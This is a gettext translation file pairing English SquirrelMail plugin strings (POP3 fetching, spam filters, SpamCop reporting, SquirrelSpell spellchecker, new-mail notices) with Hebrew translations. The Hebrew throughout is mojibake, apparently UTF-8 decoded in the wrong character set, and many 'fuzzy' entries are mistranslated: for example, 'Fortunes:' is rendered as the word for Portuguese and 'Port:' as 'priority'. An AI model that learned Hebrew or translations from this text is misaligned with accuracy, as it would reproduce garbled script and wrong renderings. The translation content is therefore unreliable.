"לתיקיה ×שר מתנקה ×וטומטית בכדי למנוע עליה בגודל תיבת הדו×ר שלך."

#, fuzzy
msgid "Unread messages only"
msgstr "הודעות חדשות בלבד"

#, fuzzy
msgid ""
"The more messages scanned, the longer it takes. It's recommended to scan "
"unread messages only. If a change to the filters is made, it's recommended "
"to set it to scan all messages, then go view the INBOX, then come back and "
"set it to scan unread messages only. That way, the new spam filters will be "
"applied and even the spam you didn't catch with the old filters will be "
"scanned."
msgstr ""
"ככל שמספר ההודעות הנסרקות גדול יותר, כך זמן הסריקה לוקח יותר זמן. מומלץ "
"לסרוק רק הודעות חדשות. במקרה ונעשה ×©×™× ×•×™×™× ×‘×ž×¡× × ×™×, מומלץ להגדיר למסנן לבדוק "
"×ת כל ההודעה, ל×חר מכן ללכת לדו×ר נכנס, ול×חר מכן להגידר ×ת המסנן מחדש לבדוק "
"רק דו×ר חדש. בצורה זו, יוגדר המסנן החדש ×•×’× ×”×“×•×ר הישן יבדק נגדו."

#, fuzzy, php-format
msgid "Spam is sent to %s."
msgstr "דו×ר זבל נשלח ל: <b>%s</b>"

#, fuzzy
msgid "not set yet"
msgstr "[<i>עדיין ×œ× ×”×•×’×“×¨</i>]"

#, fuzzy, php-format
msgid "Spam scan is limited to %s."
msgstr "סריקת דו×ר זבל מוגבלת ל: <b>%s</b>"

msgid "ON"
msgstr "פועל"

msgid "OFF"
msgstr "כבוי"

#, php-format
msgid "%s is not found."
msgstr ""

msgid "Today's Fortune"
msgstr ""

#, fuzzy
msgid "Fortunes:"
msgstr "פורטוגזית"

msgid "Show fortunes at top of mailbox"
msgstr ""

msgid "Plugin is disabled."
msgstr ""

#, fuzzy
msgid "IMAP server information"
msgstr "יצי×ת שרת IMAP"

msgid ""
"Run some test IMAP commands, displaying both the command and the result. "
"These tests use the SquirrelMail IMAP commands and your current SquirrelMail "
"configuration. Custom command strings can be used."
msgstr ""

msgid "Mailinglist"
msgstr "רשימת תפוצה"

#, php-format
msgid ""
"This will send a message to %s requesting help for this list. You will "
"receive an emailed response at the address below."
msgstr ""
"×פשרות זו תשלח הודעה ל-%s בבקשה לעזרה ×¢× ×¨×©×™×ž×” זו. תשובה תשלח לכתובת הדו×\"ל "
"הרשומה מטה."

#, php-format
msgid ""
"This will send a message to %s requesting that you will be subscribed to "
"this list. You will be subscribed with the address below."
msgstr ""
"×פשרות זו תשלח הודעה ל-%s בבקשה לצרף ×ותך לרשימה זו. כתובת הדו×\"ל הרשומה "
"מטה תצורף לרשימה."

#, php-format
msgid ""
"This will send a message to %s requesting that you will be unsubscribed from "
"this list. It will try to unsubscribe the adress below."
msgstr ""
"×פשרות זו תשלח הודעה ל-%s בבקשה לביטול ההרשמה לרשימה זו. ההרשמה תבוטל לכתובת "
"הרשומה מטה."

msgid "Send Mail"
msgstr "שלח דו×ר"

msgid "Post to List"
msgstr "שלח לרשימה"

msgid "Reply to List"
msgstr "השב לרשימה"

msgid "List Archives"
msgstr "הצג ×רכיוני×"

msgid "Contact Listowner"
msgstr "צור קשר ×¢× ×ž× ×”×œ הרשימה"

#, fuzzy
msgid "Mailing List"
msgstr "רשימת תפוצה"

msgid "POP3 connect:"
msgstr "חיבור POP3:"

msgid "No server specified"
msgstr "×œ× ×”×•×’×“×¨ שרת"

msgid "Error "
msgstr "שגי××”"

msgid "POP3 user:"
msgstr "משתמש POP3:"

msgid "no login ID submitted"
msgstr "×œ× × ×©×œ×— ×©× ×ž×©×ª×ž×©"

msgid "connection not established"
msgstr "×œ× × ×•×¦×¨ חיבור"

msgid "POP3 pass:"
msgstr "סיסמ×ת POP3:"

msgid "No password submitted"
msgstr "×œ× × ×©×œ×—×” סיסמ×"

msgid "authentication failed "
msgstr "×ימות נכשל"

msgid "POP3 apop:"
msgstr ""

msgid "No connection to server"
msgstr "×ין חיבור לשרת"

msgid "No login ID submitted"
msgstr "×œ× × ×©×œ×— ×©× ×ž×©×ª×ž×©"

msgid "No server banner"
msgstr "×ין כרזת שרת"

msgid "abort"
msgstr "בטל"

msgid "apop authentication failed"
msgstr "×ימות apop נכשל"

msgid "POP3 login:"
msgstr ""

msgid "POP3 top:"
msgstr ""

msgid "POP3 pop_list:"
msgstr ""

msgid "Premature end of list"
msgstr "×¡×™×•× ×ž×•×§×“× ×©×œ רשימה"

msgid "POP3 get:"
msgstr ""

msgid "POP3 last:"
msgstr ""

msgid "POP3 reset:"
msgstr ""

msgid "POP3 send_cmd:"
msgstr ""

msgid "Empty command string"
msgstr "מחרוזת פקודה ריקה"

msgid "POP3 quit:"
msgstr ""

msgid "connection does not exist"
msgstr "×œ× × ×ž×¦× ×—×™×‘×•×¨"

msgid "POP3 uidl:"
msgstr ""

msgid "POP3 delete:"
msgstr ""

msgid "No msg number submitted"
msgstr "×œ× × ×©×œ×— מספר הודעה"

msgid "Command failed "
msgstr "פקודה נכשלה "

msgid "Remote POP server Fetching Mail"
msgstr "מושך דו×ר משרת POP3 מרוחק"

msgid "Select Server:"
msgstr "בחר שרת:"

msgid "Password for"
msgstr "×¡×™×¡×ž× ×‘×©×‘×™×œ"

msgid "Fetch Mail"
msgstr "משוך דו×ר"

msgid "Fetching from "
msgstr "מושך מ-"

msgid "Oops, "
msgstr "×ופס, "

msgid "Opening IMAP server"
msgstr "פותח שרת IMAP"

msgid "Opening POP server"
msgstr "פותח שרת POP"

msgid "Login Failed:"
msgstr "כניסה שגויה:"

msgid "Login OK: No new messages"
msgstr "כניסה ×ושרה: ×ין הודעות חדשות"

msgid "Login OK: Inbox EMPTY"
msgstr "כניסה ×ושרה: תיבת דו×ר נכנס ריקה"

#, fuzzy, php-format
msgid "Login OK: Inbox contains %s messages"
msgstr "כניסה ×ושרה: תיבת דו×ר נכנס מכילה ["

msgid "Fetching UIDL..."
msgstr "מושך UIDL..."

msgid "Server does not support UIDL."
msgstr "שרת ×œ× ×ª×•×ž×š ב UIDL."

#, fuzzy
msgid "Leaving mail on server..."
msgstr "מש×יר ×ת הדו×ר על השרת..."

msgid "Deleting messages from server..."
msgstr "מוחק הודעות מהשרת..."

msgid "Fetching message "
msgstr "מושך הודעה "

msgid "Server error. Disconnect"
msgstr ""

msgid "Reconnect from dead connection"
msgstr ""

msgid "Saving UIDL"
msgstr "שומר UIDL"

#, fuzzy
msgid "Refetching message "
msgstr "מושך הודעה "

msgid "Error Appending Message!"
msgstr "שגי××” בצירוף ההודעה!"

msgid "Closing POP"
msgstr "סוגר ×ת ×”-POP"

msgid "Logging out from IMAP"
msgstr "מתנתק משרת IMAP"

msgid "Message appended to mailbox"
msgstr "הודעה צורפה לתיבת הדו×ר"

#, fuzzy, php-format
msgid "Message %d deleted from remote server!"
msgstr " נמחקה משרת מרוחק!"

msgid "Delete failed:"
msgstr "מחיקה נכשלה:"

msgid "Remote POP server settings"
msgstr "הגדרות שרת POP מרוחק"

#, fuzzy
msgid ""
"You should be aware that the encryption used to store your password is not "
"perfectly secure. However, if you are using pop, there is inherently no "
"encryption anyway. Additionally, the encryption that we do to save it on the "
"server can be undone by a hacker reading the source to this file."
msgstr ""
"עלייך להיות מודע לכך שההצפנה הנמצ×ת בשימוש בכדי להצפין ×ת סיסמ×תך ××™× × ×” "
"בטוחה לחלוטין. למרות ×–×ת, ×× ×”×™× ×š משתמש ב-POP, ×ין הצפנה בכל מקרה. בנוסף, כל "
"פורץ ×שר ×™×§×¨× ×ת הקוד של קובץ ×–×” יוכל לפענח ×ת ההצפנה ש×נו ×ž×©×ª×ž×©×™× ×‘×” בכדי "
"להצפין ×ת סיסמ×תך על השרת."

#, fuzzy
msgid "If you leave password empty, it will be asked when you fetch mail."
msgstr "במקרה ותש×יר ×ת ×”×¡×™×¡×ž× ×¨×™×§×”, ×”×™× ×ª×“×¨×© ×›×שר תנסה ×œ×”×‘×™× ×ת הדו×ר."

msgid "Encrypt passwords (informative only)"
msgstr "הצפן סיסמ×ות (×ינפורמטיבי בלבד)"

msgid "Add Server"
msgstr "הוסף שרת"

msgid "Server:"
msgstr "שרת:"

#, fuzzy
msgid "Port:"
msgstr "עדיפות:"

msgid "Alias:"
msgstr "כינוי:"

msgid "Username:"
msgstr "×©× ×ž×©×ª×ž×©:"

msgid "Store in Folder:"
msgstr "×חסן בתיקיה:"

#, fuzzy
msgid "Leave mail on server"
msgstr "הש×ר דו×ר על השרת"

#, fuzzy
msgid "Check mail at login"
msgstr "בדוק דו×ר בכניסה"

#, fuzzy
msgid "Check mail at folder refresh"
msgstr "בדוק דו×ר ברענון תיקיה"

msgid "Modify Server"
msgstr "עדכן שרת"

msgid "Server Name:"
msgstr "×©× ×©×¨×ª:"

msgid "Modify"
msgstr "עדכן"

#, fuzzy
msgid "No servers known."
msgstr "×ין כרזת שרת"

msgid "Fetching Servers"
msgstr "מושך שרתי×"

msgid "Confirm Deletion of a Server"
msgstr "×שר מחיקת שרת"

msgid "Selected Server:"
msgstr "שרת נבחר:"

msgid "Confirm delete of selected server?"
msgstr "מ×שר מחיקת שרת נבחר?"

msgid "Confirm Delete"
msgstr "×שר מחיקה"

msgid "Leave Mail on Server"
msgstr "הש×ר דו×ר על השרת"

msgid "Undefined Function"
msgstr "פונקציה ×œ× ×ž×•×’×“×¨×ª"

msgid "The function you requested is unknown."
msgstr ""

msgid "Fetch"
msgstr "משוך"

msgid "Warning, "
msgstr "×זהרה, "

msgid "Mail Fetch Result:"
msgstr "תוצ×ת ניסיון משיכת דו×ר:"

#, fuzzy
msgid "POP3 Fetch Mail"
msgstr "משיכת דו×ר מ-POP3"

#, fuzzy
msgid ""
"This configures settings for downloading email from a POP3 mailbox to your "
"account on this server."
msgstr "הגדרות הורדת דו×\"ל מתיבת POP3 לתיבת הדו×ר שלך בשרת ×–×”."

#, fuzzy
msgid "Message Details"
msgstr "רשימת הודעות"

msgid "Bodystructure"
msgstr ""

#, fuzzy
msgid "Entity"
msgstr "ערוך"

msgid "Content-Type"
msgstr ""

msgid "Encoding"
msgstr ""

#, fuzzy
msgid "RFC822 Message body"
msgstr "מתחת לגוף ההודעה"

msgid "Close Window"
msgstr "סגור חלון"

#, fuzzy
msgid "Save Message"
msgstr "הצג הודעה"

#, fuzzy
msgid "View Message details"
msgstr "הצג הודעה"

msgid "New Mail"
msgstr "דו×ר חדש"

msgid "SquirrelMail Notice:"
msgstr "הודעת SquirrelMail:"

#, fuzzy, php-format
msgid "You have %s new message"
msgid_plural "You have %s new messages"
msgstr[0] "יש לך דו×ר חדש!"
msgstr[1] "יש לך דו×ר חדש!"

#, fuzzy, php-format
msgid "You have %s new messages"
msgstr "יש לך דו×ר חדש!"

msgid "New Mail Notification"
msgstr "הודעה על דו×ר חדש"

#, fuzzy, php-format
msgid ""
"The %s option will check ALL of your folders for unseen mail, not just the "
"inbox for notification."
msgstr ""
"בכדי לבדוק דו×ר חדש בכל התיקיות ×•×œ× ×¨×§ בתיבת הדו×ר הנכנס, סמן ×ת ×”×פשרות "
"<b>בדוק ×ת כל התיקיות, ×œ× ×¨×§ ×ת תיבת הדו×ר הנכנס</b>."

msgid "Check all boxes, not just INBOX"
msgstr "בדוק ×ת כל התיבות, ×œ× ×¨×§ ×ת תיבת הדו×ר הנכנס"

#, fuzzy, php-format
msgid ""
"Selecting the %s option will enable the showing of a popup window when "
"unseen mail is in your folders (requires JavaScript)."
msgstr ""
"×× ×‘×¨×¦×•× ×š שיפתח חלון קטן המודיע על הודעות חדשות בחר ב×פשרות <b>כשיש הודעות "
"חדשות הצג חלון קטן</b> (מצריך JavaScript)"

msgid "Show popup window on new mail"
msgstr "כשיש הודעות חדשות הצג חלון קטן"

#, fuzzy, php-format
msgid ""
"Use the %s option to only check for messages that are recent. Recent "
"messages are those that have just recently showed up and have not been "
"\"viewed\" or checked yet. This can prevent being continuously annoyed by "
"sounds or popups for unseen mail."
msgstr ""
"בחר ב×פשרות <b>ספור רק הודעות שהגיעו ל×חרונה</b> בכדי לבדוק רק הודעות שהגיעו "
"ל×חרונה. הודעות ×שר הגיעו ל×חרונה הן הודעות ×שר הגיעו לפני זמן קצר ×ך ×œ× "
"נקר×ו ×ו סומנו עדיין. ×פשרות זו מונעת הטרדה רצופה של ×¦×œ×™×œ×™× ×•×—×œ×•× ×•×ª ×שר "
"× ×¤×ª×—×™× ×‘×’×œ×œ דו×ר ×©×œ× × ×§×¨×."

msgid "Count only messages that are RECENT"
msgstr "ספור רק הודעות שהגיעו ל×חרונה"

#, fuzzy, php-format
msgid ""
"Selecting the %s option will change the title in some browsers to let you "
"know when you have new mail (requires JavaScript, and only works in IE but "
"you won't see errors with other browsers). This will always tell you if you "
"have new mail, even if you have %s enabled."
msgstr ""
"×”×פשרות <b>שנה כותרת ×‘×“×¤×“×¤× ×™× × ×ª×ž×›×™×</b> תשנה ×ת כותרת החלון של הדפדפן ×›×שר "
"מגיע דו×ר חדש (×פשרות זו מצריכה JavaScript ודפדפן ×ינטרנט ×קספלורר, ×ך ×œ× "
"יופיעו הודעות שגי××” ×‘×“×¤×“×¤× ×™× ×חרי×). ×פשרות זו תודיע תמיד על דו×ר חדש, ×פילו "
"×× ×¡×•×ž× ×” ×”×פשרות <b>ספור רק הודעות שהגיעו ל×חרונה</b>."

#, fuzzy
msgid "Change title on supported browsers"
msgstr "שנה כותרת ×‘×“×¤×“×¤× ×™× × ×ª×ž×›×™×."

#, fuzzy, php-format
msgid ""
"Select %s to turn on playing a media file when unseen mail is in your "
"folders. When enabled, you can specify the media file to play in the "
"provided file box."
msgstr ""
"בכדי להפעיל ניגון קובץ מדיה ×›×שר יש דו×ר חדש בחר ב×פשרות <b>×פשר ניגון מדיה</"
"b>. ביכולתך לציין ×ת קובץ המדיה שינוגן."

msgid "Enable Media Playing"
msgstr "×פשר ניגון מדיה"

#, php-format
msgid ""
"Select from the list of %s the media file to play when new mail arrives. If "
"no file is specified, %s, no sound will be used."
msgstr ""

#, fuzzy
msgid "Select server file"
msgstr "בחר קובץ שרת:"

#, fuzzy
msgid "(none)"
msgstr "כלו×"

msgid "requires JavaScript to work"
msgstr "בכדי לעבוד נחוץ JavaScript"

msgid "Try"
msgstr "נסה"

msgid "Current File:"
msgstr "קובץ נוכחי:"

msgid "NewMail Options"
msgstr "×פשרויות דו×ר חדש"

msgid ""
"This configures settings for playing sounds and/or showing popup windows "
"when new mail arrives."
msgstr ""
"ב×פשרותך להגדיר ניגנון ×¦×œ×™×œ×™× ×•\\×ו פתיחת חלון קטן במקרה שמגיע דו×ר חדש."

#, php-format
msgid "%s New Messages"
msgstr "%s הודעות חדשות"

#, fuzzy, php-format
msgid "%s New Message"
msgid_plural "%s New Messages"
msgstr[0] "%s הודעה חדשה"
msgstr[1] "%s הודעה חדשה"

msgid "Test Sound"
msgstr "בדוק צלילי×"

#, fuzzy
msgid "No sound specified"
msgstr "×œ× ×”×•×’×“×¨ שרת"

msgid "Loading the sound..."
msgstr "טוען ×ת הצליל..."

msgid "Sent Subfolders Options"
msgstr "×פשרויות תתי-ספריות של תיקיית דו×ר יוצ×"

msgid "Use Sent Subfolders"
msgstr "השתמש בתתי-תיקיות תחת דו×ר יוצ×"

msgid "Monthly"
msgstr "חודשי"

msgid "Quarterly"
msgstr "רבעוני"

msgid "Yearly"
msgstr "שנתי"

msgid "Base Sent Folder"
msgstr ""

#, fuzzy
msgid "Enabled"
msgstr "מבוטל"

#, fuzzy
msgid "Disable it"
msgstr "מבוטל"

msgid "Enable it"
msgstr ""

#, fuzzy
msgid "Spam reporting"
msgstr "סינון דו×ר זבל (SPAM)"

msgid "SpamCop link is:"
msgstr ""

#, fuzzy
msgid "Delete spam when reported:"
msgstr "מחק נבחרי×"

msgid "Only works with email-based reporting"
msgstr ""

msgid "Spam Reporting Method:"
msgstr ""

msgid "Quick email-based reporting"
msgstr ""

msgid "Thorough email-based reporting"
msgstr ""

msgid "Web-based form"
msgstr ""

#, fuzzy
msgid "Save Method"
msgstr "העבר ×ל:"

msgid "Your SpamCop authorization code:"
msgstr ""

msgid "see below"
msgstr ""

#, fuzzy
msgid "Save ID"
msgstr "שמור"

msgid "About SpamCop"
msgstr ""

msgid ""
"SpamCop is a free service that greatly assists in finding the true source of "
"the spam and helps in letting the proper people know about the abuse."
msgstr ""

#, php-format
msgid ""
"To use it, you must get a SpamCop authorization code. There is a free %ssign "
"up page%s so you can use SpamCop."
msgstr ""

msgid "Before you sign up, be warned"
msgstr ""

#, php-format
msgid ""
"Some users have reported that the email addresses used with SpamCop find "
"their way onto spam lists. To be safe, you can just create an email "
"forwarding account and have all SpamCop reports get sent to there. Also, if "
"it gets flooded with spam, you can then just delete that account with no "
"worries about losing your real email address. Just go create an email "
"forwarder somewhere (%s has a %slist of places%s) so that messages from "
"system administrators and what not can be sent to you."
msgstr ""

msgid ""
"Once you have signed up with SpamCop and have received your SpamCop "
"authorization code, you need to enable this plugin by clicking the link "
"above. Once enabled, you go about your normal life. If you encounter a spam "
"message in your mailbox, just view it. On the right-hand side, near the top "
"of where the message is displayed, you will see a link to report this "
"message as spam. Clicking on it brings you to a confirmation page. "
"Confirming that you want the spam report sent will do different things with "
"different reporting methods."
msgstr ""

msgid "Email-based reporting"
msgstr ""

msgid ""
"Pressing the button forwards the message to the SpamCop service and will "
"optionally delete the message. From there, you just need to go to your INBOX "
"and quite soon a message should appear from SpamCop. (It gets sent to the "
"account you registered with, so make sure that your mail forwarder works!) "
"Open it up, click on the appropriate link at the top, and a new browser "
"window will open."
msgstr ""

msgid ""
"Currently, the quick reporting just forwards the request to the thorough "
"reporting. Also, it appears that this is for members (non-free) only. "
"Hopefully this will change soon."
msgstr ""

msgid "Web-based reporting"
msgstr ""

msgid ""
"When you press the button on the confirmation page, this will pop open a new "
"browser window and the SpamCop service should appear inside. The message "
"will not be deleted (working on that part), but you won't need to wait for a "
"response email to start the spam reporting."
msgstr ""

msgid ""
"The SpamCop service will display information as it finds it, so scroll down "
"until you see a form button. It might pause a little while it is looking up "
"information, so be a little patient. Read what it says, and submit the spam. "
"Close the browser window. Press Cancel or click on the appropriate mail "
"folder to see messages and/or delete the spam."
msgstr ""

msgid "SpamCop service type"
msgstr ""

msgid ""
"Service type option allows selecting which SpamCop services you are using. "
"Member services use different web reporting forms and does not display nags. "
"You can purchase these services, if you want to support SpamCop."
msgstr ""

#, fuzzy
msgid "More information"
msgstr "מידע ×ישי"

#, php-format
msgid ""
"For more information about SpamCop, it's services, spam in general, and many "
"related topics, try reading through SpamCop's %sHelp and Feedback%s section."
msgstr ""

msgid "Report as Spam"
msgstr ""

msgid "SpamCop - Spam Reporting"
msgstr ""

msgid ""
"Help fight the battle against unsolicited email. SpamCop reads the spam "
"email and determines the correct addresses to send complaints to. Quite "
"fast, really smart, and easy to use."
msgstr ""

msgid ""
"Sending this spam report will give you back a reply with URLs that you can "
"click on to properly report this spam message to the proper authorities. "
"This is a free service. By pressing the \"Send Spam Report\" button, you "
"agree to follow SpamCop's rules/terms of service/etc."
msgstr ""

msgid "Cancel / Done"
msgstr ""

msgid "Send Spam Report"
msgstr ""

msgid "SpellChecker Options"
msgstr "×פשרויות בודק ×יות"

msgid ""
"Here you may set up how your personal dictionary is stored, edit it, or "
"choose which languages should be available to you when spell-checking."
msgstr ""
"ביכולתך להגדיר ×ת המילון ×”×ישי שלך, לערוןך ×ותו, ×ו לבחור ×ת ספת המילון."

msgid "Check Spelling"
msgstr "בדוק ×יות"

msgid "Back to &quot;SpellChecker Options&quot; page"
msgstr "בחזרה לדף &quot;×פשרויות בודק ×יות&quot;"

msgid "ATTENTION:"
msgstr "×©×™× ×œ×‘:"

#, fuzzy
msgid ""
"SquirrelSpell was unable to decrypt your personal dictionary. This is most "
"likely due to the fact that you have changed your mailbox password. In order "
"to proceed, you will have to supply your old password so that SquirrelSpell "
"can decrypt your personal dictionary. It will be re-encrypted with your new "
"password after this. If you haven't encrypted your dictionary, then it got "
"mangled and is no longer valid. You will have to delete it and start anew. "
"This is also true if you don't remember your old password -- without it, the "
"encrypted data is no longer accessible."
msgstr ""
"SquirrelSpell ×œ× ×”×¦×œ×™×— לפענח ×ת המילון ×”×ישי שלך. רוב ×”×¡×™×›×•×™×™× ×©×–×” בגלל "
"ששינת ×ת ×”×¡×™×¡×ž× ×©×œ×š. בכדי להמשיך, עלייך לספק ×ת ×”×¡×™×¡×ž× ×”×™×©× ×” שלך על-מנת ש-"
"SquirrelSpell יוכל לפענח ×ת המילון ×”×ישי שלך. ×”×•× ×™×•×¦×¤×Ÿ מחדש בעזרת ×”×¡×™×¡×ž× "
"החדשה שלך.<br>×× ×œ× ×”×¦×¤× ×ª ×ת המילון שלך, ××– כנר××” ×©×”×•× ×”×•×©×—×ª ו×ינו זמין "
"יותר. עלייך למחוק ×ותו והתחיל מחדש. ×–×” ×’× × ×›×•×Ÿ במקרה ושכחת ×ת ×”×¡×™×¡×ž× ×©×œ×š -- "
"×œ×œ× ×”×¡×™×¡×ž× ×”×™×©× ×” המידע המוצפן ×ינו זמין."

msgid "Delete my dictionary and start a new one"
msgstr "מחק ×ת המילון שלי והתחל חדש."

msgid "Decrypt my dictionary with my old password:"
msgstr "פענח ×ת המילון שלי בעזרת ×”×¡×™×¡×ž× ×”×™×©× ×” שלי."

msgid "Proceed"
msgstr "התקד×"

msgid "You must make a choice"
msgstr "עלייך לבחור ×חת מה×פשרויות"

msgid ""
"You can either delete your dictionary or type in the old password. Not both."
msgstr "ביכולתך למחוק ×ת המילון הישן ×ו להקליד ×ת סיסמ×תך הישנה. ×œ× ×©× ×™×”×."

msgid "This will delete your personal dictionary file. Proceed?"
msgstr "×”×× ×תה בטוח שברצונך למחוק ×ת המילון ×”×ישי הישן שלך?"

msgid "Error Decrypting Dictionary"
msgstr "שגי××” בפענוח המילון"

msgid "Cute."
msgstr "חמוד."

#, php-format
msgid "Could not run the spellchecker command (%s)."
msgstr ""

msgid "Error while writing to pipe."
msgstr ""

#, fuzzy, php-format
msgid "Could not open temporary file '%s'."
msgstr "×œ× ×™×›×•×œ לנעול ×ת קובץ המידע"

#, php-format
msgid "Error while writing to temporary file '%s'."
msgstr ""

#, php-format
msgid "I tried to execute '%s', but it returned:"
msgstr "ניסיתי לבצע ×ת %s, ×בל ×”×•× ×”×—×–×™×¨:"

msgid "SquirrelSpell is misconfigured."
msgstr "SquirrelSpell ×œ× ×ž×•×’×“×¨ נכון"

msgid "Spellcheck completed. Commit changes?"
msgstr "בדיק ×יות הסתיימה. לבצע שינויי×?"

msgid "No changes were made."
msgstr "×œ× × ×¢×©×• שינויי×."

msgid "Now saving your personal dictionary... Please wait."
msgstr "שומר כעת ×ת המילון ×”×ישי שלך... ×× × ×”×ž×ª×Ÿ."

msgid "SquirrelSpell Results"
msgstr "תוצ×ות SquirrelSpell"

#, php-format
msgid "Found %s errors"
msgstr "נמצ×ו %s שגי×ות"

msgid "Line with an error:"
msgstr "שורה ×¢× ×©×’×™××”:"

msgid "Error:"
msgstr "שגי××”:"

#, fuzzy
msgid "Suggestions:"
msgstr "הצעות"

msgid "Suggestions"
msgstr "הצעות"

msgid "Change to:"
msgstr "שנה ל:"

msgid "Occurs times:"
msgstr "מספר חזרות:"

msgid "Change this word"
msgstr "שנה מילה זו"

msgid "Change"
msgstr "שנה"

msgid "Change ALL occurances of this word"
msgstr "שנה ×ת כל ×”×ž×§×¨×™× ×œ×ž×™×œ×” זו"

msgid "Change All"
msgstr "שנה הכל"

msgid "Ignore this word"
msgstr "×”×ª×¢×œ× ×ž×ž×œ×” זו"

msgid "Ignore"
msgstr "התעל×"

msgid "Ignore ALL occurances this word"
msgstr "×”×ª×¢×œ× ×ž×›×œ ×”×ž×§×¨×™× ×œ×ž×™×œ×” זו"

msgid "Ignore All"
msgstr "×”×ª×¢×œ× ×ž×”×›×œ"

msgid "Add this word to your personal dictionary"
msgstr "הוסף מילה זו למילון ×”×ישי שלך"

msgid "Add to Dic"
msgstr "הוסף למילון"

msgid "Close and Commit"
msgstr "סגור ובצע"

msgid "The spellcheck is not finished. Really close and commit changes?"
msgstr "בדיקת ×”×יות ×œ× ×”×•×©×œ×ž×”. ×”×× ×תה בטוח שברצונך לסגור ולבצע ×ת השינויי×?"

msgid "Close and Cancel"
msgstr "סגור ובטל"

msgid "The spellcheck is not finished. Really close and discard changes?"
msgstr "בדיקת ×”×יות ×œ× ×”×•×©×œ×ž×”. ×”×× ×תה בטוח שברצונך לסגור ולבטל ×ת השינויי×?"

msgid "No errors found"
msgstr "×œ× × ×ž×¦×ו שגי×ות"

#, fuzzy
msgid ""
"Your personal dictionary has been encrypted and is now stored in an "
"encrypted format."
msgstr ""
"המילון ×”×ישי שלך <strong>הוצפן</strong> ×•×”×•× ×ž×וחסן כעת <strong>בצורה "
"מ×ובטחת</strong>."

#, fuzzy
msgid ""
"Your personal dictionary has been decrypted and is now stored as plain text."
msgstr ""
"המילון ×”×ישי שלך <strong>פוענח</strong> ×•×”×•× ×ž×וחסן כעת <strong>בצורה רגילה</"
"strong>."

msgid "Personal Dictionary Crypto Settings"
msgstr "הגדרות הצפנה למילון ×ישי"

msgid "Your personal dictionary was erased."
msgstr "המילון ×”×ישי שלך נמחק."

msgid "Dictionary Erased"
msgstr "מילון נמחק"

msgid ""
"Your personal dictionary was erased. Please close this window and click "
"\"Check Spelling\" button again to start your spellcheck over."
msgstr ""
"המילון ×”×ישי שלך נמחק. ×× × ×¡×’×•×¨ חלון ×–×” ולחץ שוב על הכפתור \"בדוק ×יות\" "
"בכדי להתחיל מחדש ×ת בדיקת ×”×יות."

msgid "Close this Window"
msgstr "סגור חלון זה"

msgid ""
"Your personal dictionary was re-encrypted successfully. Now return to the "
"&quot;SpellChecker options&quot; menu and make your selection again."
msgstr ""
"המילון ×”×ישי שלך הוצפן מחדש בהצלחה. כעת חזור לתפריט &quot;×פשרויות בודק "
"×”×יות&quot; ובצע ×ת בחירתך בשנית."

#, fuzzy
msgid "Successful re-encryption"
msgstr "הצפנה מחדש מוצלחת"

msgid ""
"Your personal dictionary was re-encrypted successfully. Please close this "
"window and click \"Check Spelling\" button again to start your spellcheck "
"over."
msgstr ""
"המילון ×”×ישי שלך הוצפן מחדש בהצלחה. ×× × ×¡×’×•×¨ חלון ×–×” ולחץ על \"בדוק ×יות\" "
"שובבכדי להתחיל מחדש ×ת בדיקת ×”×יות."

msgid "Dictionary re-encrypted"
msgstr "מילון הוצפן שוב"

msgid "Personal Dictionary"
msgstr "מילון ×ישי"

msgid "No words in your personal dictionary."
msgstr "×ין ×ž×™×œ×™× ×‘×ž×™×œ×•×Ÿ ×”×ישי שלך"

msgid "Please check any words you wish to delete from your dictionary."
msgstr "×× × ×‘×—×¨ ×ת ×”×ž×™×œ×™× ×שר ברצונך למחוק מהמילון ×”×ישי שלך."

#, php-format
msgid "%s dictionary"
msgstr "מילון %s"

msgid "Delete checked words"
msgstr "מחק ×ž×™×œ×™× × ×‘×—×¨×•×ª"

msgid "Edit your Personal Dictionary"
msgstr "ערוך ×ת המילון ×”×ישי שלך"

msgid "Please make your selection first."
msgstr "×× × ×‘×¦×¢ ×ת הבחירה קוד×."

msgid ""
"This will encrypt your personal dictionary and store it in an encrypted "
"format. Proceed?"
msgstr "×”×× ×תה בטוח שברצונך להצפין, ול×חסן בצורה מוצפנת ×ת המילון ×”×ישי שלך?"

#, fuzzy
msgid ""
"This will decrypt your personal dictionary and store it in a plain text "
"format. Proceed?"
msgstr "×”×× ×תה בטוח שברצונך לפענח, ול×חסן בצורה רגילה ×ת המילון ×”×ישי שלך?"

#, fuzzy
msgid "Your personal dictionary is currently encrypted."
msgstr "המילון ×”×ישי שלך נמחק."

msgid ""
"This helps protect your privacy in case the web-mail system gets compromized "
"and your personal dictionary ends up stolen. It is currently encrypted with "
"the password you use to access your mailbox, making it hard for anyone to "
"see what is stored in your personal dictionary."
msgstr ""

msgid ""
"If you forget your password, your personal dictionary will become "
"unaccessible, since it can no longer be decrypted. If you change your "
"mailbox password, SquirrelSpell will recognize it and prompt you for your "
"old password in order to re-encrypt the dictionary with a new key."
msgstr ""

msgid ""
"Please decrypt my personal dictionary and store it in a clear-text format."
msgstr "פענח בבקשה ×ת המילון ×”×ישי שלי ו×חסן ×ותו בצורה רגילה."

msgid "Change crypto settings"
msgstr "שנה הגדרות הצפנה"

#, fuzzy
msgid "Your personal dictionary is currently not encrypted."
msgstr "המילון ×”×ישי שלך נמחק."

msgid ""
"You may wish to encrypt your personal dictionary to protect your privacy in "
"case the webmail system gets compromized and your personal dictionary file "
"gets stolen. When encrypted, the file's contents look garbled and are hard "
"to decrypt without knowing the correct key (which is your mailbox password)."
msgstr ""

#, fuzzy
msgid ""
"If you decide to encrypt your personal dictionary, you must remember that it "
"gets &quot;hashed&quot; with your mailbox password. If you forget your "
"mailbox password and the administrator changes it to a new value, your "
"personal dictionary will become useless and will have to be created anew. "
"However, if you or your system administrator change your mailbox password "
"but you still have the old password at hand, you will be able to enter the "
"old key to re-encrypt the dictionary with the new value."
msgstr ""
"<p>המילון ×”×ישי שלך × ×ž×¦× ×›×¢×ª <strong>במצב רגיל</strong>. ×× ×‘×¨×¦×•× ×š להגן על "
"פרטיות המילון ×”×ישי שלך במקרה ×©×”×•× × ×’× ×‘, עלייך להציפנו. ×›×שר במצב מוצפן, "
"תכולת הקובץ נר×ת מעוותת, וקשה לפענוח ×œ×œ× ×”×ž×¤×ª×— (×©×”×•× ×¡×™×¡×ž×ת תיבת הדו×ר שלך)."
"</p> <p><strong>×©×™× ×œ×‘:</strong> ×× ×”×™× ×š מחליט שברצונך להצפין ×ת המילון "
"×”×ישי שלך, עלייך לזכור ×©×”×•× ×ž×•×¦×¤×Ÿ בעזרת סיסמ×ת תיבת הדו×ר שלך. במקרה ושכחת "
